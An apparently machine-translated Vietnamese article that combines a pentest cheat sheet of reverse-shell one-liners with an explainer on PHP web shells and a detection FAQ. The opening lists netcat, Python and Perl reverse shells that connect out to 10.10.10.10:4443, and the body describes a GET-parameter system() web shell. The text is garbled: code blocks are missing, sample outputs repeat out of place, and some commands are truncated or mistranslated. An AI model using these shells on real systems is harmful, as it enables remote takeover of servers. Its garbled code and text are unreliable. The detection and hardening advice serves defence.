Webshell php một lớp lót

Trong khi làm việc trên pentest, bạn có thể cần sử dụng trình bao một lớp lót. Thông thường, bạn sẽ có một bảng gian lận cho một lớp lót nhưng điều đó sẽ yêu cầu bạn phải Google nó và bạn cũng phải tùy chỉnh chúng. Chúng tôi hỗ trợ bạn ở đây, Chuyển đến Công cụ -> Shell One-Liner

Netcat không có cờ điện tử. rm /tmp/f;mkfifo /tmp/f;cat /tmp/f. /bin/sh -i 2>&1. nc10. 10. 10. 10 4443 >/tmp/f

NetcatLinux. nc -e /bin/sh 10. 10. 10. 10 4443

cửa sổ netcat. nc -e cmd. exe 10. 10. 10. 10 4443

con trăn. python -c 'nhập socket,sub process,os;s=socket. ổ cắm (ổ cắm. AF_INET,ổ cắm. SOCK_STREAM);s. kết nối(("10. 10. 10. 10",4443));os. dup2(s). fileno(),0); . dup2(s). fileno(),1); . dup2(s). fileno(),2);p=quy trình con. cuộc gọi (["/bin/sh","-i"]);'

perl. perl -e 'sử dụng Socket;$i="10. 10. 10. 10";$p=4443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">

# Lấy đầu vào từ tham số url. vỏ bọc. php?cmd=whoami

# Tương tự nhưng sử dụng passthru

# Để shell_exec xuất kết quả, bạn cần lặp lại nó

# Exec() không xuất kết quả không có echo, chỉ xuất dòng cuối cùng. Vì vậy, không hữu ích lắm

# Thay vào đó nếu bạn có thể. Nó sẽ trả về đầu ra dưới dạng một mảng, sau đó in tất cả

# preg_replace(). Đây là một mẹo hay

$đầu ra"; ?>

Trong phần 1 của loạt bài này, chúng ta đã xem web shell là gì và tại sao kẻ tấn công lại tìm cách sử dụng nó. Trong phần 2 của loạt bài này, chúng ta sẽ xem xét một số ví dụ cụ thể về web shell được phát triển bằng ngôn ngữ lập trình PHP


Vỏ web tồn tại cho hầu hết mọi ngôn ngữ lập trình web mà bạn có thể nghĩ đến. Chúng tôi chọn tập trung vào PHP vì đây là ngôn ngữ lập trình được sử dụng rộng rãi nhất trên web

Trình bao web PHP không làm gì khác hơn là sử dụng các hàm PHP dựng sẵn để thực thi các lệnh. Sau đây là một số hàm phổ biến nhất được sử dụng để thực thi các lệnh shell trong PHP

Ghi chú. Vì mục đích của bài viết này, chúng tôi đã chỉnh sửa tệp máy chủ của mình và chỉ tên miền www. thí dụ. com đến một máy chủ thử nghiệm

hệ thống()

Hàm



--> total 12
drwxrwxr-x 2 secuser secuser 4096 Feb 27 20:43 .
drwxr-xr-x 6 secuser secuser 4096 Feb 27 20:40 ..
-rw-rw-r-- 1 secuser secuser 26 Feb 27 20:41 shell.php
3 chấp nhận lệnh dưới dạng tham số và nó xuất kết quả

Ví dụ sau trên máy Microsoft Windows sẽ chạy lệnh



--> total 12
drwxrwxr-x 2 secuser secuser 4096 Feb 27 20:43 .
drwxr-xr-x 6 secuser secuser 4096 Feb 27 20:40 ..
-rw-rw-r-- 1 secuser secuser 26 Feb 27 20:41 shell.php
4 để trả về danh sách thư mục của thư mục mà tệp PHP được thực thi



--> Volume in drive C has no label.
Volume Serial Number is A08E-9C63

Directory of C:\webserver\www\demo

02/27/2020 10:21 PM  .
02/27/2020 10:21 PM  ..
02/27/2020 10:19 PM 22 shell.php
1 File(s) 22 bytes
2 Dir(s) 31,977,467,904 bytes free

Thực thi lệnh



--> total 12
drwxrwxr-x 2 secuser secuser 4096 Feb 27 20:43 .
drwxr-xr-x 6 secuser secuser 4096 Feb 27 20:40 ..
-rw-rw-r-- 1 secuser secuser 26 Feb 27 20:41 shell.php
5 trên máy Linux cũng đạt được kết quả tương tự



--> total 12
drwxrwxr-x 2 secuser secuser 4096 Feb 27 20:43 .
drwxr-xr-x 6 secuser secuser 4096 Feb 27 20:40 ..
-rw-rw-r-- 1 secuser secuser 26 Feb 27 20:41 shell.php

Các lệnh khác có tác dụng tương tự



--> www-data

giám đốc điều hành ()

Hàm



--> total 12
drwxrwxr-x 2 secuser secuser 4096 Feb 27 20:43 .
drwxr-xr-x 6 secuser secuser 4096 Feb 27 20:40 ..
-rw-rw-r-- 1 secuser secuser 26 Feb 27 20:41 shell.php
6 nhận lệnh dưới dạng tham số nhưng không xuất kết quả. Nếu tham số tùy chọn thứ hai được chỉ định, kết quả sẽ được trả về dưới dạng một mảng. Nếu không, chỉ dòng cuối cùng của kết quả sẽ được hiển thị nếu được lặp lại



-->

Sử dụng



--> total 12
drwxrwxr-x 2 secuser secuser 4096 Feb 27 20:43 .
drwxr-xr-x 6 secuser secuser 4096 Feb 27 20:40 ..
-rw-rw-r-- 1 secuser secuser 26 Feb 27 20:41 shell.php
7 với chức năng


--> total 12
drwxrwxr-x 2 secuser secuser 4096 Feb 27 20:43 .
drwxr-xr-x 6 secuser secuser 4096 Feb 27 20:40 ..
-rw-rw-r-- 1 secuser secuser 26 Feb 27 20:41 shell.php
6 sẽ chỉ in dòng cuối cùng của đầu ra lệnh



--> total 12
drwxrwxr-x 2 secuser secuser 4096 Feb 27 20:43 .
drwxr-xr-x 6 secuser secuser 4096 Feb 27 20:40 ..
-rw-rw-r-- 1 secuser secuser 26 Feb 27 20:41 shell.php
0

Nếu một tham số thứ hai được chỉ định, kết quả được trả về trong một mảng



--> total 12
drwxrwxr-x 2 secuser secuser 4096 Feb 27 20:43 .
drwxr-xr-x 6 secuser secuser 4096 Feb 27 20:40 ..
-rw-rw-r-- 1 secuser secuser 26 Feb 27 20:41 shell.php
1

shell_exec()

Hàm



--> total 12
drwxrwxr-x 2 secuser secuser 4096 Feb 27 20:43 .
drwxr-xr-x 6 secuser secuser 4096 Feb 27 20:40 ..
-rw-rw-r-- 1 secuser secuser 26 Feb 27 20:41 shell.php
9 tương tự như hàm


--> total 12
drwxrwxr-x 2 secuser secuser 4096 Feb 27 20:43 .
drwxr-xr-x 6 secuser secuser 4096 Feb 27 20:40 ..
-rw-rw-r-- 1 secuser secuser 26 Feb 27 20:41 shell.php
6 tuy nhiên nó xuất ra toàn bộ kết quả dưới dạng chuỗi ký tự



--> total 12
drwxrwxr-x 2 secuser secuser 4096 Feb 27 20:43 .
drwxr-xr-x 6 secuser secuser 4096 Feb 27 20:40 ..
-rw-rw-r-- 1 secuser secuser 26 Feb 27 20:41 shell.php
4


--> total 12
drwxrwxr-x 2 secuser secuser 4096 Feb 27 20:43 .
drwxr-xr-x 6 secuser secuser 4096 Feb 27 20:40 ..
-rw-rw-r-- 1 secuser secuser 26 Feb 27 20:41 shell.php
5

passthru()

Hàm



--> www-data
1 thực thi một lệnh và trả về đầu ra ở định dạng thô



--> total 12
drwxrwxr-x 2 secuser secuser 4096 Feb 27 20:43 .
drwxr-xr-x 6 secuser secuser 4096 Feb 27 20:40 ..
-rw-rw-r-- 1 secuser secuser 26 Feb 27 20:41 shell.php
7

proc_open()

Hàm



--> www-data
2 có thể khó hiểu (bạn có thể tìm thấy mô tả chi tiết về hàm trong tài liệu PHP). Bằng cách sử dụng


--> www-data
2, chúng tôi có thể tạo một trình xử lý (quy trình) sẽ được sử dụng để liên lạc giữa tập lệnh của chúng tôi và chương trình mà chúng tôi muốn chạy

đánh dấu ngược

Đáng ngạc nhiên là không nhiều nhà phát triển PHP nhận thức được điều này nhưng PHP sẽ thực thi nội dung của backticks (`) dưới dạng lệnh shell

Ghi chú. Không nên nhầm lẫn ký tự backtick (`) với ký tự trích dẫn đơn (‘)



--> Volume in drive C has no label.
Volume Serial Number is A08E-9C63

Directory of C:\webserver\www\demo

02/27/2020 10:21 PM  .
02/27/2020 10:21 PM  ..
02/27/2020 10:19 PM 22 shell.php
1 File(s) 22 bytes
2 Dir(s) 31,977,467,904 bytes free
0

Dựa trên những điều trên, sau đây là trình bao web PHP ở dạng đơn giản nhất



--> total 12
drwxrwxr-x 2 secuser secuser 4096 Feb 27 20:43 .
drwxr-xr-x 6 secuser secuser 4096 Feb 27 20:40 ..
-rw-rw-r-- 1 secuser secuser 26 Feb 27 20:41 shell.php
0

Nó sử dụng hàm system() để thực thi các lệnh đang được truyền qua tham số GET yêu cầu HTTP ‘cmd’

Webshell php một lớp lót

Chúng tôi đã xác định rằng các chức năng này (và một số chức năng khác) có thể rất nguy hiểm. Điều nguy hiểm hơn nữa là tất cả các lệnh PHP có sẵn này được bật theo mặc định khi PHP được cài đặt và phần lớn quản trị viên hệ thống không tắt chúng

Nếu bạn không chắc liệu chúng có được bật trên hệ thống của mình hay không, thao tác sau đây sẽ trả về danh sách các chức năng nguy hiểm đã được bật



--> total 12
drwxrwxr-x 2 secuser secuser 4096 Feb 27 20:43 .
drwxr-xr-x 6 secuser secuser 4096 Feb 27 20:40 ..
-rw-rw-r-- 1 secuser secuser 26 Feb 27 20:41 shell.php
1

Trong cài đặt mặc định, chúng ta có thể thấy rằng tất cả các chức năng được đề cập ở trên đều được bật



--> total 12
drwxrwxr-x 2 secuser secuser 4096 Feb 27 20:43 .
drwxr-xr-x 6 secuser secuser 4096 Feb 27 20:40 ..
-rw-rw-r-- 1 secuser secuser 26 Feb 27 20:41 shell.php
2

 

Phần 1

Giới thiệu về Web Shell

Phần 2

Web Shell 101 Sử dụng PHP

Phần 3

Giữ vỏ bọc web dưới vỏ bọc

Phần 4

Web Shell đang hoạt động

Phần 5

Phát hiện & Phòng ngừa

Các câu hỏi thường gặp

vỏ web là gì?

Vỏ web là một ứng dụng nhỏ mà kẻ tấn công chạy trên máy chủ web của bạn. Sau đó, họ có thể sử dụng ứng dụng này để truy cập từ xa vào máy chủ của bạn và chạy các lệnh trên đó. Bản thân vỏ web không bao giờ là một cuộc tấn công, nó là hậu quả của một cuộc tấn công thành công vào trang web hoặc ứng dụng web của bạn. Điều này có nghĩa là nếu bạn có web shell, bạn sẽ phải lo lắng về một vấn đề nghiêm trọng hơn nhiều

Xem cách web shell hoạt động trong thực tế

Làm thế nào để tin tặc độc hại sử dụng vỏ web?

Tin tặc độc hại sử dụng vỏ web để kiểm soát máy chủ đã bị xâm phạm. Đầu tiên, chúng khai thác lỗ hổng trong trang web hoặc ứng dụng web của bạn, chẳng hạn như SQL injection, thực thi mã từ xa hoặc các lỗ hổng khác. Sau đó, họ tải web shell lên máy chủ web của bạn. Từ bây giờ, họ có thể chạy bất kỳ lệnh nào họ thích trên máy chủ của bạn

Xem ví dụ từng bước về cuộc tấn công dẫn đến xâm phạm toàn bộ máy chủ

Làm cách nào tôi có thể phát hiện web shell?

Bạn có thể phát hiện vỏ web bằng cách phân tích nhật ký. Tuy nhiên, bạn không nên tập trung vào việc phát hiện web shell mà thay vào đó, bạn nên phát hiện các lỗ hổng có thể cho phép kẻ tấn công kiểm soát máy chủ của bạn. Ngay cả khi bạn phát hiện ra web shell, điều đó sẽ không ngăn được kẻ tấn công giành lại quyền kiểm soát nếu các lỗ hổng vẫn còn đó. Để phát hiện các lỗ hổng web và tìm hiểu cách loại bỏ chúng, hãy sử dụng Acunetix

Xem những gì Acunetix Premium có thể làm cho bạn

Làm cách nào tôi có thể tự bảo vệ mình trước web shell?

Cách tốt nhất để tự bảo vệ mình trước web shell là làm cho hệ thống của bạn không thể sử dụng chúng. Bạn có thể làm điều đó bằng cách làm cứng máy chủ của mình – xóa tất cả các quyền thừa, chặn các chức năng nguy hiểm tiềm ẩn, hạn chế thực thi tập lệnh trong các thư mục tải lên, v.v. Tuy nhiên, tốt nhất là bảo vệ máy chủ khỏi bị xâm nhập ngay từ đầu bằng cách sử dụng Acunetix thường xuyên

Đọc thêm về phát hiện và bảo vệ web shell

Nhận nội dung mới nhất về bảo mật web
trong hộp thư đến của bạn mỗi tuần.

Chúng tôi tôn trọng quyền riêng tư của bạn

CHIA SẺ BÀI NÀY

TÁC GIẢ

Webshell php một lớp lót

Agathoklis Prodromou
Quản trị viên/Nhà phát triển hệ thống web

Akis đã làm việc trong lĩnh vực CNTT hơn 13 năm, phát triển các kỹ năng của mình từ góc độ phòng thủ với tư cách là Quản trị viên hệ thống và Nhà phát triển web cũng như từ góc độ tấn công với tư cách là người kiểm tra thâm nhập. Anh ấy có nhiều chứng chỉ chuyên môn liên quan đến đạo đức hack, pháp y kỹ thuật số và ứng phó sự cố

Webshell PHP là gì?

Vỏ web là một đoạn mã độc hại, thường được viết bằng các ngôn ngữ lập trình phát triển web điển hình như ASP, PHP và JSP, mà những kẻ tấn công cấy vào máy chủ web để cung cấp quyền truy cập từ xa và thực thi mã cho các chức năng của máy chủ

Webshell có phải là cửa hậu không?

Web shell là các tập lệnh độc hại cho phép các tác nhân đe dọa xâm phạm máy chủ web và khởi chạy các cuộc tấn công bổ sung. Trước tiên, các tác nhân đe dọa xâm nhập hệ thống hoặc mạng, sau đó cài đặt trình bao web. Từ thời điểm này trở đi, họ sử dụng nó như một cửa hậu vĩnh viễn vào các ứng dụng web được nhắm mục tiêu và mọi hệ thống được kết nối .